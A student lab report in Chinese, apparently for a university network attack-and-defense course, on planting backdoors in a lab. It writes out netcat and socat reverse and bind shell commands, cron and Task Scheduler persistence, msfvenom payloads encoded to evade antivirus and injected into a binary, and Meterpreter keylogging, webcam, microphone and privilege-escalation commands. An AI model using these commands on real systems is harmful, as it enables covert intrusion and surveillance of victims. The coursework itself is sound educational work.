1. 程式人生 > 其它 >20192411 2021-2022-2 《網路與系統攻防技術》實驗2實驗報告

20192411 2021-2022-2 《網路與系統攻防技術》實驗2實驗報告

20192411 2021-2022-2 《網路與系統攻防技術》實驗2實驗報告

目錄

1.實驗內容

  1. 使用netcat獲取主機操作Shell,cron啟動某項任務
  2. 使用socat獲取主機操作Shell, 任務計劃啟動
  3. 使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
  4. 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
  5. 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell

2.實驗過程

準備工作

  • NC或netcat

    是一個底層工具,進行基本的TCP UDP資料收發。常被與其他工具結合使用,起到後門的作用。

    win獲得Linux Shell:

    ncat.exe -l -p 8888  #windows開啟監聽
    
    nc 192.168.11.55 8888 -e /bin/sh  #Linux反彈連線win
    

    windows下獲得一個linux shell,可執行任何指令,如ls:

    Linux獲得win Shell:

    nc -l -p 8888  #Linux執行監聽指令
    
    ncat.exe -e cmd.exe 192.168.43.93 8888  #Windows反彈連線Linux
    

    Linux下看到Windows的命令提示:

  • cron

    Cron是Linux下的定時任務,每一分鐘執行一次,根據配置檔案執行預設的指令;是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序。

    表示式:

    Seconds Minutes Hours DayofMonth Month DayofWeek Year或
    Seconds Minutes Hours DayofMonth Month DayofWeek

  • socat

    可以看作是netcat的加強版,即netcat++,超級netcat工具。

    socat基本語法:

    socat [options] <address> <address>
    

    address 類似於一個檔案描述符,Socat 所做的工作就是在 2 個 address 指定的描述符間建立一個pipe用於傳送和接收資料。

  • Meterpreter

    Meterpreter是Metasploit框架中的一個擴充套件模組,作為溢位成功以後的攻擊載荷使用,攻擊載荷在溢位攻擊成功以後給我們返回一個控制通道。使用它作為攻擊載荷能夠獲得目標系統的一個Meterpreter shell的連結。Meterpreter shell作為滲透模組有很多有用的功能,比如新增一個使用者、隱藏一些東西、開啟shell、得到使用者密碼、上傳下載遠端主機的檔案、執行cmd.exe、捕捉螢幕、得到遠端控制權、捕獲按鍵資訊、清除應用程式、顯示遠端主機的系統資訊、顯示遠端機器的網路介面和IP地址等資訊。另外Meterpreter能夠躲避入侵檢測系統。在遠端主機上隱藏自己,它不改變系統硬碟中的檔案,因此HIDS[基於主機的入侵檢測系統]很難對它做出響應。此外它在執行的時候系統時間是變化的,所以跟蹤它或者終止它對於一個有經驗的人也會變得非常困難。

    引數說明:

    -p 使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這裡windows/meterpreter/reverse_tcp就是一段shellcode.
    -x 使用的可執行檔案模板,payload(shellcode)就寫入到這個可執行檔案中。
    -e 使用的編碼器,用於對shellcode變形,為了免殺。
    -i 編碼器的迭代次數。如上即使用該編碼器編碼5次。
    -b badchar是payload中需要去除的字元。
    LHOST 是反彈回連的IP
    LPORT 是回連的埠
    -f 生成檔案的型別
    

2.1 使用netcat獲取主機操作Shell,cron啟動某項任務

  • 首先獲取主機的ip地址:主機ip為192.168.43.234

  • crontab指令增加一條定時任務,"-e"表示編輯。

    crontab -e
    
    * * * * * /bin/netcat 192.168.43.234 8888 -e /bin/sh
    #每分鐘執行該指令
    
  • 儲存退出後配置生效,可以通過"crontab -l"來檢視,"-l"表示list。

    crontab -l
    
  • 在主機上讓nc監聽8888埠就會獲得一個Shell

2.2 使用socat獲取主機操作Shell, 任務計劃啟動

  • 利用windows的任務計劃程式來自啟動

  • 觸發器,設定當前這個任務計劃在什麼條件下面觸發啟動。這裡我設定成定時啟動一次。

  • 操作選擇socat.exe程式,新增引數tcp-listen:5110 exec:cmd.exe,pty,stderr。這樣會把cmd.exe繫結到埠5110,同時把cmd.exe的stderr重定向到stdout上。

    • TCP-LISTEN: 建立一個 TCP 監聽埠,TCP也可以替換為UDP。
    • EXEC: 執行一個程式作為資料流。
  • 建立好之後,在21:45就會彈出一個cmd:

  • 在kali中輸入socat - tcp:192.168.43.234:5110(不關閉主機彈出的cmd),就會獲得windows的Shell:

2.3 使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

  • 在kali用MSF meterpreter生成可執行檔案20192411.exe

    msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.132 LPORT=7777 -f exe > 20192411.exe
    
  • 利用netcat將生成的檔案從kali傳給windows(需要關閉殺軟)

    windows中執行命令:

    ncat.exe -l 7777 > 20192411.exe
    

    kali中執行命令:

    nc 192.168.1.110 7777 < 20192411.exe
    

    之後可以在當前資料夾中看到生成的檔案:

  • MSF開啟監聽程序

    進入控制檯:

    msfconsole
    

    進入監聽模組:

    use exploit/multi/handler
    

    設定payload、ip及埠(與後門檔案一致):

    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.132
    set LPORT 7777
    

    之後可以用show options來檢視設定:

    輸入exploit開始監聽,然後主機開啟傳送過來的後門程式,kali就可以獲得Shell:

2.4 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

獲取音訊:

record_mic

獲取攝像頭:

webcam_snap

截圖主機:

screenshot

記錄主機鍵盤記錄:

keyscan_start  #開始記錄
keyscan_dump   #讀取記錄

提權:

getuid 		 #檢視當前使用者
getsystem	 #提權

第一次提權失敗,通過百度(問題2),將生成的檔名改成windows_update就可以成功提權了。

音訊、攝像頭、截圖、按鍵記錄以及提權結果:

2.5 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell

  • 利用msf生成shellcode並注入目標檔案:

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=7777 -x /home/hezhangrong/桌面/pwn20192411 -f elf > pwn20192411_shell
    
  • 之後在該埠進入msf控制檯,設定payload等後開啟監聽,然後開啟另一個終端執行注入的檔案,即可在監聽的終端獲得shell:

3.問題及解決方案

4.學習感悟、思考等

這次實驗讓我更清楚地認識到安全的重要性。要想保證安全一定要十分小心謹慎,面對多樣的攻擊手段,我們要積極主動地學習,才能在面對這類行為的時候不落下風。

5.回答問題

  1. 例舉你能想到的一個後門進入到你係統中的可能方式?

    在奇怪的網站下載盜版之類的軟體,可能就會攜帶後門。

  2. 例舉你知道的後門如何啟動起來(win及linux)的方式?

    windows:開機自啟動,任務計劃定時;

    Linux:通過cron定時啟動。

  3. Meterpreter有哪些給你映像深刻的功能?

    能夠對檔案進行shellcode注入,在獲取到shell後還可以窺屏、竊聽、攝像,功能十分強大!

  4. 如何發現自己有系統有沒有被安裝後門?

    防毒軟體定時查殺,從正規網站下載正規軟體。

參考資料